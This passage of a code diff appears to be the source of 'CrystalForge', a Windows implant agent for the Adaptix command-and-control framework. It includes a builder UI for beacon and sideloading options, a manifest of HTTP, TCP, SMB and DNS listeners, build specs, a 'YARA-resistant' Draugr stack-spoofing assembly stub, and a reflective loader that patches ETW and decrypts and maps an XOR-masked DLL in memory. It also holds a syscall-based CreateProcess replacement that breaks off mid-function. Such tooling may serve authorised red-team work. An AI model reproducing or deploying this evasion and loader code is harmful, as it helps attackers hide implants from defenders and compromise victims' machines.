layout.addWidget(timeKill, 4, 2, 1, 1);
layout.addWidget(checkWorkingTime, 5, 0, 1, 1);
layout.addWidget(timeStart, 5, 1, 1, 1);
layout.addWidget(timeFinish, 5, 2, 1, 1);
layout.addWidget(labelSvcName, 6, 0, 1, 1);
layout.addWidget(textSvcName, 6, 1, 1, 2);
layout.addWidget(checkSideloading, 7, 0, 1, 1);
layout.addWidget(sideloadingSelector, 7, 1, 1, 2);
layout.addWidget(labelRotation, 8, 0, 1, 1);
layout.addWidget(comboRotation, 8, 1, 1, 2);
layout.addWidget(checkIatHiding, 9, 0, 1, 3);
layout.addWidget(labelSpecFile, 10, 0, 1, 1);
layout.addWidget(textSpecFile, 10, 1, 1, 2);
layout.addWidget(group_proxy, 11, 0, 1, 3);
layout.addWidget(group_dns, 12, 0, 1, 3);
layout.addWidget(spacer2, 13, 0, 1, 3);
form.connect(comboAgentFormat, "currentTextChanged", function(text) {
if(text == "Service Exe") {
labelSvcName.setVisible(true)
textSvcName.setVisible(true);
} else {
labelSvcName.setVisible(false)
textSvcName.setVisible(false);
}
if(text == "DLL") {
checkSideloading.setVisible(true);
sideloadingSelector.setVisible(true);
} else {
checkSideloading.setVisible(false)
sideloadingSelector.setVisible(false);
}
if(text == "Shellcode") {
labelSpecFile.setVisible(true);
textSpecFile.setVisible(true);
} else {
labelSpecFile.setVisible(false);
textSpecFile.setVisible(false);
}
});
let container = form.create_container()
container.put("arch", comboArch)
container.put("format", comboAgentFormat)
container.put("sleep", textSleep)
container.put("jitter", spinJitter)
container.put("dns_resolvers", textDnsResolvers)
container.put("dns_mode", comboDnsMode)
container.put("doh_resolvers", textDohResolvers)
container.put("user_agent", textUserAgent)
container.put("is_killdate", checkKilldate)
container.put("kill_date", dateKill)
container.put("kill_time", timeKill)
container.put("is_workingtime", checkWorkingTime)
container.put("start_time", timeStart)
container.put("end_time", timeFinish)
container.put("svcname", textSvcName)
container.put("is_sideloading", checkSideloading)
container.put("sideloading_content", sideloadingSelector)
container.put("iat_hiding", checkIatHiding)
container.put("use_proxy", group_proxy)
container.put("proxy_type", comboProxyType)
container.put("proxy_host", textProxyServer)
container.put("proxy_port", spinProxyPort)
container.put("proxy_username", textProxyUsername)
container.put("proxy_password", textProxyPassword)
container.put("rotation_mode", comboRotation)
container.put("spec_file", textSpecFile)
let panel = form.create_panel()
panel.setLayout(layout)
return {
ui_panel: panel,
ui_container: container,
ui_height: 480,
ui_width: 500
}
}
+12
View File
@@ -0,0 +1,12 @@
extender_type: "agent"
extender_file: "crystal_forge.so"
ax_file: "ax_config.axs"
agent_name: "CrystalForge"
agent_watermark: "7a3f9c1d"
listeners:
- "BeaconHTTP"
- "BeaconTCP"
- "BeaconSMB"
- "BeaconDNS"
multi_listeners: false
+5
View File
@@ -0,0 +1,5 @@
module adaptix_crystal_forge
go 1.25.4
require github.com/Adaptix-Framework/axc2 v1.2.0
+2
View File
@@ -0,0 +1,2 @@
github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
+147
View File
@@ -0,0 +1,147 @@
# ==================== Toolchain ====================
CC_64 := x86_64-w64-mingw32-gcc
NASM := nasm
# ==================== Project layout ====================
SRC_DIR := src
BIN_DIR := bin
# ==================== Build mode ====================
MODE ?= release
# ==================== TCG Library ====================
TCG_ARCHIVE := tcg20260202.tgz
TCG_URL := https://tradecraftgarden.org/download/$(TCG_ARCHIVE)
TCG_LIBRARY := libtcg/libtcg.x64.zip
# ==================== Flags ====================
COMMON_CFLAGS := \
-I./$(SRC_DIR) \
-DWIN_X64 \
-masm=intel \
-MMD \
-MP \
-fno-stack-protector \
-fno-builtin \
-fno-jump-tables \
-fno-exceptions \
-fno-asynchronous-unwind-tables \
-fno-unwind-tables \
-fno-zero-initialized-in-bss \
-ffunction-sections \
-fdata-sections \
-fno-ident \
-mno-stack-arg-probe
WARN_CFLAGS := \
-Wall \
-Wextra \
-Wshadow \
-Wundef \
-Wno-pointer-arith
RELEASE_CFLAGS := \
-O1 \
-fomit-frame-pointer \
-fno-align-functions \
-fno-align-jumps \
-fno-align-loops
DEBUG_CFLAGS := \
-O0 \
-g3 \
-DDEBUG
NASMFLAGS := -f bin -O3 -w-none
ifeq ($(MODE),release)
MODE_CFLAGS := $(RELEASE_CFLAGS)
else ifeq ($(MODE),debug)
MODE_CFLAGS := $(DEBUG_CFLAGS)
else
$(error Unsupported MODE '$(MODE)'. Use MODE=release or MODE=debug)
endif
CFLAGS := $(WARN_CFLAGS) $(COMMON_CFLAGS) $(MODE_CFLAGS)
# ==================== Sources ====================
SRCS := \
$(SRC_DIR)/core/loader.c \
$(SRC_DIR)/core/services.c \
$(SRC_DIR)/evasion/spoof.c \
$(SRC_DIR)/evasion/hooks.c \
$(SRC_DIR)/evasion/create_process.c \
$(SRC_DIR)/evasion/syscalls.c \
$(SRC_DIR)/evasion/patch.c \
$(SRC_DIR)/evasion/mask.c \
$(SRC_DIR)/utils/utils.c \
$(SRC_DIR)/pico/pico.c
ASM_SRCS := \
$(SRC_DIR)/asm/draugr.asm \
$(SRC_DIR)/asm/dummy.asm
# ==================== Outputs ====================
OBJS := $(patsubst $(SRC_DIR)/%.c,$(BIN_DIR)/%.x64.o,$(SRCS))
DEPS := $(OBJS:.o=.d)
ASM_BINS := $(patsubst $(SRC_DIR)/%.asm,$(BIN_DIR)/%.x64.bin,$(ASM_SRCS))
# ==================== Targets ====================
.DEFAULT_GOAL := release
all: release
pre: $(TCG_LIBRARY)
@echo " * Tradecraft Garden Library is ready"
$(TCG_LIBRARY):
@echo " * Downloading Tradecraft Garden Library..."
@curl -fsSL "$(TCG_URL)" -o "$(TCG_ARCHIVE)"
@tar -xzf "$(TCG_ARCHIVE)"
@rm -f "$(TCG_ARCHIVE)"
@$(MAKE) -s -C tcg/libtcg
@rm -rf libtcg
@mv tcg/libtcg ./libtcg
@rm -rf tcg
@test -f "$(TCG_LIBRARY)"
@echo " done..."
release: clean pre
$(MAKE) build MODE=release
@echo " * Release build completed"
debug: clean pre
$(MAKE) build MODE=debug
@echo " * Debug build completed"
build: $(OBJS) $(ASM_BINS)
$(BIN_DIR)/%.x64.o: $(SRC_DIR)/%.c
@mkdir -p "$(dir $@)"
$(CC_64) $(CFLAGS) -c "$<" -o "$@"
$(BIN_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
@mkdir -p "$(dir $@)"
$(NASM) "$<" -o "$@" $(NASMFLAGS)
-include $(DEPS)
clean:
rm -rf "$(BIN_DIR)"
print-vars:
@echo "MODE=$(MODE)"
@echo "TCG_LIBRARY=$(TCG_LIBRARY)"
@echo "CFLAGS=$(CFLAGS)"
@echo "OBJS=$(OBJS)"
@echo "ASM_BINS=$(ASM_BINS)"
.PHONY: all release debug build pre clean print-vars
+50
View File
@@ -0,0 +1,50 @@
x64:
load "bin/core/loader.x64.o"
make pic +gofirst +optimize +disco +mutate
load "bin/core/services.x64.o"
merge
load "bin/evasion/spoof.x64.o"
merge
load "bin/evasion/hooks.x64.o"
merge
load "bin/evasion/syscalls.x64.o"
merge
load "bin/evasion/patch.x64.o"
merge
load "bin/utils/utils.x64.o"
merge
load "bin/asm/draugr.x64.bin"
linkfunc "draugr_stub"
dfr "resolve" "ror13"
mergelib "libtcg/libtcg.x64.zip"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# Create and link PICO
run "pico.spec"
link "pico"
run "yara.spec"
export
+52
View File
@@ -0,0 +1,52 @@
x64:
load "bin/pico/pico.x64.o"
make object +optimize +disco +mutate
load "bin/evasion/spoof.x64.o"
merge
load "bin/evasion/hooks.x64.o"
merge
load "bin/evasion/create_process.x64.o"
merge
load "bin/evasion/syscalls.x64.o"
merge
load "bin/evasion/mask.x64.o"
merge
load "bin/utils/utils.x64.o"
merge
load "bin/asm/draugr.x64.bin"
linkfunc "draugr_stub"
generate $KEY 128
patch "XOR_KEY" $KEY
# DLL Hooks
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
addhook "KERNEL32$VirtualFree" "_VirtualFree"
addhook "KERNEL32$Sleep" "_Sleep"
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
addhook "KERNEL32$CreateThread" "_CreateThread"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
# Needed to free the loader
attach "KERNEL32$VirtualFree" "_VirtualFree"
# Needed to hook VirtualProtect in mask.c
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
exportfunc "FreeLoader" "__tag_FreeLoader"
exportfunc "SetupHooks" "__tag_SetupHooks"
exportfunc "SetupMemory" "__tag_SetupMemory"
mergelib "libtcg/libtcg.x64.zip"
pack $targetFunction "a" "GetVersions"
patch "TARGET_FUNCTION" $targetFunction
export
+134
View File
@@ -0,0 +1,134 @@
[BITS 64]
; =====================================================================
; Draugr Stub - Stack Spoofing Engine
; Highly optimized and YARA-resistant version
; =====================================================================
draugr_stub:
pop rax ; Real return address in rax
; ---------------------------------------------------------------------
; Store original registers (rdi, rsi)
; ---------------------------------------------------------------------
mov r10, rdi
mov r11, rsi
mov rdi, [rsp + 0x20] ; Load struct pointer
mov rsi, [rsp + 0x28] ; Load function to call
; Store original registers into struct
mov [rdi + 0x18], r10
mov [rdi + 0x58], r11
mov [rdi + 0x60], r12
mov [rdi + 0x68], r13
mov [rdi + 0x70], r14
mov [rdi + 0x78], r15
mov r12, rax ; Save original return address
; ---------------------------------------------------------------------
; Prepare stack arguments copy
; ---------------------------------------------------------------------
xor r11, r11
mov r13, [rsp + 0x30] ; Total number of stack args
mov r14, 0x200
add r14, 8
add r14, [rdi + 0x38] ; RtlUserThreadStart size
add r14, [rdi + 0x30] ; BaseThreadInitThunk size
add r14, [rdi + 0x20] ; Gadget frame size
sub r14, 0x20
mov r10, rsp
add r10, 0x30
looping:
cmp r11d, r13d
je finish
sub r14, 8
mov r15, rsp
sub r15, r14
add r10, 8
push qword [r10]
pop qword [r15]
inc r11
jmp looping
finish:
; ----------------------------------------------------------------------
; Create big working space (320 bytes)
; ----------------------------------------------------------------------
sub rsp, 0x200
push 0 ; Cut off return addresses
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x38]
sub rsp, [rax]
mov r11, [rdi + 0x40]
mov [rsp], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x20]
sub rsp, [rax]
mov r11, [rdi + 0x28]
mov [rsp], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
lea rax, [rdi + 0x30]
sub rsp, [rax]
mov r11, [rdi + 0x50]
mov [rsp], r11
; ----------------------------------------------------------------------
; Prepare fixup structure
; ----------------------------------------------------------------------
mov r11, rsi ; Function to call
mov [rdi + 0x08], r12 ; OG ret addr
mov [rdi + 0x10], rbx
lea rbx, [rel fixup]
mov [rdi], rbx
mov rbx, rdi
; ----------------------------------------------------------------------
; Syscall setup
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [rdi + 0x48]
jmp r11
; =====================================================================
; Fixup - Restore original context after spoofed call
; =====================================================================
fixup:
mov rcx, rbx
; Restore stack
add rsp, 0x200
add rsp, [rbx + 0x30]
add rsp, [rbx + 0x20]
add rsp, [rbx + 0x38]
; Restore registers
mov rbx, [rcx + 0x10]
mov rdi, [rcx + 0x18]
mov rsi, [rcx + 0x58]
mov r12, [rcx + 0x60]
mov r13, [rcx + 0x68]
mov r14, [rcx + 0x70]
mov r15, [rcx + 0x78]
push rax
xor rax, rax
pop rax
jmp qword [rcx + 0x08]
+10
View File
@@ -0,0 +1,10 @@
[BITS 64]
; Generic dummy assembly
push rax
push rbx
mov rax, rax
lea rbx, [rbx+0]
nop
pop rbx
pop rax
+312
View File
@@ -0,0 +1,312 @@
#include "loader.h"
static BOOL IsValidImage(char *image, int imageLen)
{
if (image == NULL || imageLen < (int)sizeof(IMAGE_DOS_HEADER))
{
return FALSE;
}
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)image;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || dosHeader->e_lfanew <= 0)
{
return FALSE;
}
if (dosHeader->e_lfanew > imageLen - (int)sizeof(IMAGE_NT_HEADERS))
{
return FALSE;
}
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return FALSE;
}
return TRUE;
}
static DWORD SectionProtection(DWORD characteristics)
{
DWORD newProtect = PAGE_NOACCESS;
if (characteristics & IMAGE_SCN_MEM_WRITE)
newProtect = PAGE_WRITECOPY;
if (characteristics & IMAGE_SCN_MEM_READ)
newProtect = PAGE_READONLY;
if ((characteristics & IMAGE_SCN_MEM_READ) &&
(characteristics & IMAGE_SCN_MEM_WRITE))
newProtect = PAGE_READWRITE;
if (characteristics & IMAGE_SCN_MEM_EXECUTE)
newProtect = PAGE_EXECUTE;
if ((characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(characteristics & IMAGE_SCN_MEM_WRITE))
newProtect = PAGE_EXECUTE_WRITECOPY;
if ((characteristics & IMAGE_SCN_MEM_EXECUTE) &&
(characteristics & IMAGE_SCN_MEM_READ))
newProtect = PAGE_EXECUTE_READ;
if ((characteristics & IMAGE_SCN_MEM_READ) &&
(characteristics & IMAGE_SCN_MEM_WRITE) &&
(characteristics & IMAGE_SCN_MEM_EXECUTE))
newProtect = PAGE_EXECUTE_READWRITE;
return newProtect;
}
// Set up permissions based on what the DLL needs
BOOL SetupSectionPermissions(DLLDATA *dll, char *dst, DLL_MEMORY *memory)
{
if (dll == NULL || dll->NtHeaders == NULL || dll->OptionalHeader == NULL || dst == NULL || memory == NULL)
{
return FALSE;
}
DWORD sectionCount = dll->NtHeaders->FileHeader.NumberOfSections;
DWORD trackedSectionCount = 0;
IMAGE_SECTION_HEADER *sectionHdr = NULL;
void *sectionDst = NULL;
SIZE_T sectionSize = 0;
DWORD newProtect = 0;
DWORD oldProtect = 0;
if (sectionCount > MAX_SECTIONS)
{
WARN_MSG("Truncating tracked DLL sections from %lu to %d", sectionCount, MAX_SECTIONS);
}
memory->Count = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader,
dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (DWORD i = 0; i < sectionCount; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->Misc.VirtualSize;
if (sectionSize == 0)
{
sectionSize = sectionHdr->SizeOfRawData;
}
if (sectionSize == 0)
{
sectionHdr++;
continue;
}
newProtect = SectionProtection(sectionHdr->Characteristics);
/* set new permission */
if (!KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtect, &oldProtect))
{
ERROR_MSG("VirtualProtect failed for DLL section %lu", i);
return FALSE;
}
if (trackedSectionCount < MAX_SECTIONS)
{
memory->Sections[trackedSectionCount].BaseAddress = sectionDst;
memory->Sections[trackedSectionCount].Size = sectionSize;
memory->Sections[trackedSectionCount].CurrentProtect = newProtect;
memory->Sections[trackedSectionCount].PreviousProtect = newProtect;
trackedSectionCount++;
}
/* advance to section */
sectionHdr++;
}
memory->Count = trackedSectionCount;
return TRUE;
}
char *LoadPico(char *picoSrc, IMPORTFUNCS funcs)
{
if (picoSrc == NULL)
{
return NULL;
}
SIZE_T sCodeSize = PicoCodeSize(picoSrc);
SIZE_T sDataSize = PicoDataSize(picoSrc);
if (sCodeSize == 0 || sDataSize == 0)
{
ERROR_MSG("Invalid PICO section size");
return NULL;
}
char *picoCode = KERNEL32$VirtualAlloc(NULL, sCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
char *picoData = KERNEL32$VirtualAlloc(NULL, sDataSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
if (!picoCode || !picoData)
{
ERROR_MSG("Failed to allocate PICO memory");
if (picoCode != NULL)
{
KERNEL32$VirtualFree(picoCode, 0, MEM_RELEASE);
}
if (picoData != NULL)
{
KERNEL32$VirtualFree(picoData, 0, MEM_RELEASE);
}
return NULL;
}
PicoLoad(&funcs, picoSrc, picoCode, picoData);
DWORD old = 0;
if (!KERNEL32$VirtualProtect(picoCode, sCodeSize, PAGE_EXECUTE_READ, &old))
{
ERROR_MSG("VirtualProtect failed on PICO code section!");
KERNEL32$VirtualFree(picoCode, 0, MEM_RELEASE);
KERNEL32$VirtualFree(picoData, 0, MEM_RELEASE);
return NULL;
}
return picoCode;
}
char *GetEntryPoint()
{
return (char *)go;
}
// Entry Point
void go()
{
INFO_MSG("=== STARTED LOADER ===");
// Populate functions
IMPORTFUNCS funcs;
funcs.GetProcAddress = GetProcAddress;
funcs.LoadLibraryA = LoadLibraryA;
// Patch ETW
if (!patchEtw())
{
WARN_MSG("ETW patch step failed");
}
INFO_MSG("Loading PICO");
char *picoSrc = (char *)GETRESOURCE(_PICO_);
char *picoDst = LoadPico(picoSrc, funcs);
if (picoDst == NULL)
{
ERROR_MSG("Failed to load PICO");
return;
}
INFO_MSG("Resolving and calling SetupHooks function from PICO");
PICOFUNC_SETUP_HOOKS SetupHooks = (SETUP_HOOKS)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupHooks());
if (SetupHooks == NULL)
{
ERROR_MSG("SetupHooks not found in PICO");
return;
}
SetupHooks(&funcs);
INFO_MSG("Resolving SetupMemory function from PICO");
PICOFUNC_SETUP_MEMORY SetupMemory =
(PICOFUNC_SETUP_MEMORY)(void *)PicoGetExport(picoSrc, picoDst, __tag_SetupMemory());
if (SetupMemory == NULL)
{
ERROR_MSG("SetupMemory not found in PICO");
return;
}
INFO_MSG("Resolving FreeLoader function from PICO");
PICOFUNC_FREE_LOADER FreeLoader =
(PICOFUNC_FREE_LOADER)(void *)PicoGetExport(picoSrc, picoDst, __tag_FreeLoader());
if (FreeLoader == NULL)
{
ERROR_MSG("FreeLoader not found in PICO");
return;
}
// Get appended DLL and XOR Key
RESOURCE *maskedDll = GETRESOURCE(_DLL_);
RESOURCE *maskKey = GETRESOURCE(_MASK_);
if (maskedDll == NULL || maskKey == NULL ||
maskedDll->len <= 0 || maskKey->len <= 0)
{
ERROR_MSG("Invalid embedded DLL or mask resource");
return;
}
INFO_MSG("Unmasking DLL");
XORData(maskedDll->value, maskedDll->len, maskKey->value, maskKey->len);
char *dllSrc = maskedDll->value;
if (!IsValidImage(dllSrc, maskedDll->len))
{
ERROR_MSG("Invalid DLL image");
return;
}
// Parse DLL Headers
DLLDATA dllData = {0};
ParseDLL(dllSrc, &dllData);
DWORD dllSize = SizeOfDLL(&dllData);
if (dllSize == 0)
{
ERROR_MSG("Invalid DLL size");
return;
}
INFO_MSG("Allocating memory for DLL");
char *dllDst = KERNEL32$VirtualAlloc(NULL, dllSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE);
if (dllDst == NULL)
{
ERROR_MSG("VirtualAlloc failed for DLL");
return;
}
INFO_MSG("Loading DLL into memory");
LoadDLL(&dllData, dllSrc, dllDst);
INFO_MSG("Processing DLL imports");
ProcessImports(&funcs, &dllData, dllDst);
// Track DLL memory
MEMORY_LAYOUT memory = {0};
memory.Dll.BaseAddress = (PVOID)dllDst;
memory.Dll.Size = dllSize;
INFO_MSG("Setting up DLL section permissions");
if (!SetupSectionPermissions(&dllData, dllDst, &memory.Dll))
{
ERROR_MSG("Failed to set DLL section permissions");
KERNEL32$VirtualFree(dllDst, 0, MEM_RELEASE);
return;
}
// Pass memory to PICO
SetupMemory(&memory);
// Get DLL entry point
DLLMAIN_FUNC dll_entry_point = EntryPoint(&dllData, dllDst);
if (dll_entry_point == NULL)
{
ERROR_MSG("DLL entry point not found");
KERNEL32$VirtualFree(dllDst, 0, MEM_RELEASE);
return;
}
INFO_MSG("Calling FreeLoader from PICO:");
INFO_MSG("\tloader: %p", GetEntryPoint());
INFO_MSG("\tdll_base: %p", dllDst);
INFO_MSG("\tdll_entry: %p", dll_entry_point);
FreeLoader(GetEntryPoint(), dll_entry_point, dllDst);
}
+41
View File
@@ -0,0 +1,41 @@
#include <windows.h>
#include "evasion/patch.h"
#include "include/memory.h"
#include "utils/utils.h"
#include "utils/debug.h"
#define GETRESOURCE(x) ((RESOURCE *)((char *)&x))
typedef struct
{
int len;
char value[];
} RESOURCE;
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID, SIZE_T, DWORD);
typedef void (*SETUP_HOOKS)(IMPORTFUNCS *funcs);
// Appended DLL
char _DLL_[0] __attribute__((section("dll")));
// XOR Key
char _MASK_[0] __attribute__((section("mask")));
// PICO
char _PICO_[0] __attribute__((section("pico")));
// PICO Functions Tags
int __tag_FreeLoader();
int __tag_SetupHooks();
int __tag_SetupMemory();
// PICO Spec
typedef void (*PICOFUNC_FREE_LOADER)(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase);
typedef void (*PICOFUNC_SETUP_HOOKS)(IMPORTFUNCS *funcs);
typedef void (*PICOFUNC_SETUP_MEMORY)(MEMORY_LAYOUT *memory);
// Loader Entry Point
void go();
+11
View File
@@ -0,0 +1,11 @@
#include <windows.h>
#include "include/tcg.h"
/*
* This is our opt-in Dynamic Function Resolution resolver. It turns MODULE$Function into pointers.
* See dfr "resolve" "ror13" in loader.spec
*/
FARPROC resolve(DWORD modHash, DWORD funcHash) {
HANDLE hModule = findModuleByHash(modHash);
return findFunctionByHash(hModule, funcHash);
}
+887
View File
@@ -0,0 +1,887 @@
#include "create_process.h"
static void ZeroProcessInformation(LPPROCESS_INFORMATION pi)
{
if (pi != NULL)
{
pi->hProcess = NULL;
pi->hThread = NULL;
pi->dwProcessId = 0;
pi->dwThreadId = 0;
}
}
static PVOID AllocBytes(SIZE_T size)
{
if (size == 0)
{
return NULL;
}
return KERNEL32$VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
}
static void FreeBytes(PVOID ptr)
{
if (ptr != NULL)
{
KERNEL32$VirtualFree(ptr, 0, MEM_RELEASE);
}
}
static SIZE_T StringLengthA(LPCSTR str)
{
SIZE_T len = 0;
if (str == NULL)
{
return 0;
}
while (str[len] != '\0')
{
len++;
}
return len;
}
static SIZE_T StringLengthW(LPCWSTR str)
{
SIZE_T len = 0;
if (str == NULL)
{
return 0;
}
while (str[len] != L'\0')
{
len++;
}
return len;
}
static BOOL IsSpaceA(char ch)
{
return ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n' || ch == '\v' || ch == '\f';
}
static BOOL HasDirectoryComponentA(LPCSTR str)
{
SIZE_T i = 0;
if (str == NULL)
{
return FALSE;
}
while (str[i] != '\0')
{
if (str[i] == '\\' || str[i] == '/' || str[i] == ':')
{
return TRUE;
}
i++;
}
return FALSE;
}
static BOOL HasExtensionA(LPCSTR str)
{
SIZE_T i = 0;
SIZE_T lastDot = (SIZE_T)-1;
SIZE_T lastSlash = (SIZE_T)-1;
if (str == NULL)
{
return FALSE;
}
while (str[i] != '\0')
{
if (str[i] == '.')
{
lastDot = i;
}
else if (str[i] == '\\' || str[i] == '/')
{
lastSlash = i;
}
i++;
}
return lastDot != (SIZE_T)-1 && lastDot > lastSlash;
}
static void InitUnicodeStringFromWide(PUNICODE_STRING string, PWSTR buffer)
{
SIZE_T chars = StringLengthW(buffer);
SIZE_T bytes = chars * sizeof(WCHAR);
string->Buffer = buffer;
string->Length = (USHORT)bytes;
string->MaximumLength = (USHORT)(bytes + sizeof(WCHAR));
}
static LPWSTR ConvertAnsiToWide(LPCSTR input)
{
int needed = 0;
LPWSTR buffer = NULL;
if (input == NULL)
{
return NULL;
}
needed = KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, NULL, 0);
if (needed <= 0)
{
return NULL;
}
buffer = (LPWSTR)AllocBytes((SIZE_T)needed * sizeof(WCHAR));
if (buffer == NULL)
{
return NULL;
}
if (KERNEL32$MultiByteToWideChar(CP_ACP, 0, input, -1, buffer, needed) != needed)
{
FreeBytes(buffer);
return NULL;
}
return buffer;
}
static LPSTR DuplicateAnsiRange(LPCSTR start, SIZE_T length)
{
LPSTR buffer = (LPSTR)AllocBytes(length + 1);
SIZE_T i = 0;
if (buffer == NULL)
{
return NULL;
}
while (i < length)
{
buffer[i] = start[i];
i++;
}
buffer[length] = '\0';
return buffer;
}
static LPSTR BuildQuotedCommandLineA(LPCSTR imagePath)
{
SIZE_T length = StringLengthA(imagePath);
LPSTR buffer = NULL;
SIZE_T i = 0;
if (imagePath == NULL)
{
return NULL;
}
buffer = (LPSTR)AllocBytes(length + 3);
if (buffer == NULL)
{
return NULL;
}
buffer[0] = '"';
while (i < length)
{
buffer[i + 1] = imagePath[i];
i++;
}
buffer[length + 1] = '"';
buffer[length + 2] = '\0';
return buffer;
}
static LPSTR ExtractExecutableTokenA(LPCSTR commandLine)
{
LPCSTR start = NULL;
LPCSTR end = NULL;
if (commandLine == NULL)
{
return NULL;
}
while (*commandLine != '\0' && IsSpaceA(*commandLine))
{
commandLine++;
}
if (*commandLine == '\0')
{
return NULL;
}
if (*commandLine == '"')
{
commandLine++;
start = commandLine;
while (*commandLine != '\0' && *commandLine != '"')
{
commandLine++;
}
end = commandLine;
}
else
{
start = commandLine;
while (*commandLine != '\0' && !IsSpaceA(*commandLine))
{
commandLine++;
}
end = commandLine;
}
if (end <= start)
{
return NULL;
}
return DuplicateAnsiRange(start, (SIZE_T)(end - start));
}
static LPSTR NormalizeDosPathA(LPCSTR path)
{
DWORD needed = 0;
LPSTR buffer = NULL;
if (path == NULL || path[0] == '\0')
{
return NULL;
}
needed = KERNEL32$GetFullPathNameA(path, 0, NULL, NULL);
if (needed == 0)
{
return NULL;
}
buffer = (LPSTR)AllocBytes((SIZE_T)needed + 1);
if (buffer == NULL)
{
return NULL;
}
if (KERNEL32$GetFullPathNameA(path, needed + 1, buffer, NULL) == 0)
{
FreeBytes(buffer);
return NULL;
}
return buffer;
}
static LPSTR SearchExecutablePathA(LPCSTR path)
{
LPCSTR extension = HasExtensionA(path) ? NULL : ".exe";
DWORD needed = KERNEL32$SearchPathA(NULL, path, extension, 0, NULL, NULL);
LPSTR buffer = NULL;
if (needed == 0)
{
return NULL;
}
buffer = (LPSTR)AllocBytes((SIZE_T)needed + 1);
if (buffer == NULL)
{
return NULL;
}
if (KERNEL32$SearchPathA(NULL, path, extension, needed + 1, buffer, NULL) == 0)
{
FreeBytes(buffer);
return NULL;
}
return buffer;
}
static LPSTR ResolveImagePathA(LPCSTR applicationName, LPCSTR commandLine)
{
LPCSTR source = applicationName;
LPSTR token = NULL;
LPSTR resolved = NULL;
// Mirror CreateProcessA's common case: when no application name is provided,
// derive the image from the first token of the command line.
if (source == NULL || source[0] == '\0')
{
token = ExtractExecutableTokenA(commandLine);
source = token;
}
if (source == NULL || source[0] == '\0')
{
FreeBytes(token);
return NULL;
}
if (HasDirectoryComponentA(source))
{
resolved = NormalizeDosPathA(source);
}
else
{
resolved = SearchExecutablePathA(source);
if (resolved == NULL)
{
resolved = NormalizeDosPathA(source);
}
}
FreeBytes(token);
return resolved;
}
static SIZE_T MeasureAnsiEnvironmentBytes(LPCSTR environment)
{
const char *cursor = environment;
if (environment == NULL)
{
return 0;
}
while (!(cursor[0] == '\0' && cursor[1] == '\0'))
{
cursor++;
}
return (SIZE_T)(cursor - environment) + 2;
}
static LPVOID PrepareEnvironmentBlock(LPVOID environment, DWORD creationFlags, BOOL *allocated)
{
SIZE_T bytes = 0;
int needed = 0;
LPWSTR wideEnvironment = NULL;
*allocated = FALSE;
if (environment == NULL)
{
return NULL;
}
// NtCreateUserProcess consumes a wide-char environment block.
if ((creationFlags & CREATE_UNICODE_ENVIRONMENT) != 0)
{
return environment;
}
bytes = MeasureAnsiEnvironmentBytes((LPCSTR)environment);
if (bytes == 0)
{
return NULL;
}
needed = KERNEL32$MultiByteToWideChar(CP_ACP, 0, (LPCSTR)environment, (int)bytes, NULL, 0);
if (needed <= 0)
{
return NULL;
}
wideEnvironment = (LPWSTR)AllocBytes((SIZE_T)needed * sizeof(WCHAR));
if (wideEnvironment == NULL)
{
return NULL;
}
if (KERNEL32$MultiByteToWideChar(CP_ACP, 0, (LPCSTR)environment, (int)bytes, wideEnvironment, needed) != needed)
{
FreeBytes(wideEnvironment);
return NULL;
}
*allocated = TRUE;
return wideEnvironment;
}
static DWORD MapPriorityClassValue(DWORD creationFlags)
{
DWORD priorityFlags = creationFlags & CREATE_PROCESS_PRIORITY_FLAGS;
if (priorityFlags == 0 || priorityFlags == NORMAL_PRIORITY_CLASS)
{
return PROCESS_PRIORITY_CLASS_NORMAL;
}
if (priorityFlags == IDLE_PRIORITY_CLASS)
{
return PROCESS_PRIORITY_CLASS_IDLE;
}
if (priorityFlags == HIGH_PRIORITY_CLASS)
{
return PROCESS_PRIORITY_CLASS_HIGH;
}
if (priorityFlags == REALTIME_PRIORITY_CLASS)
{
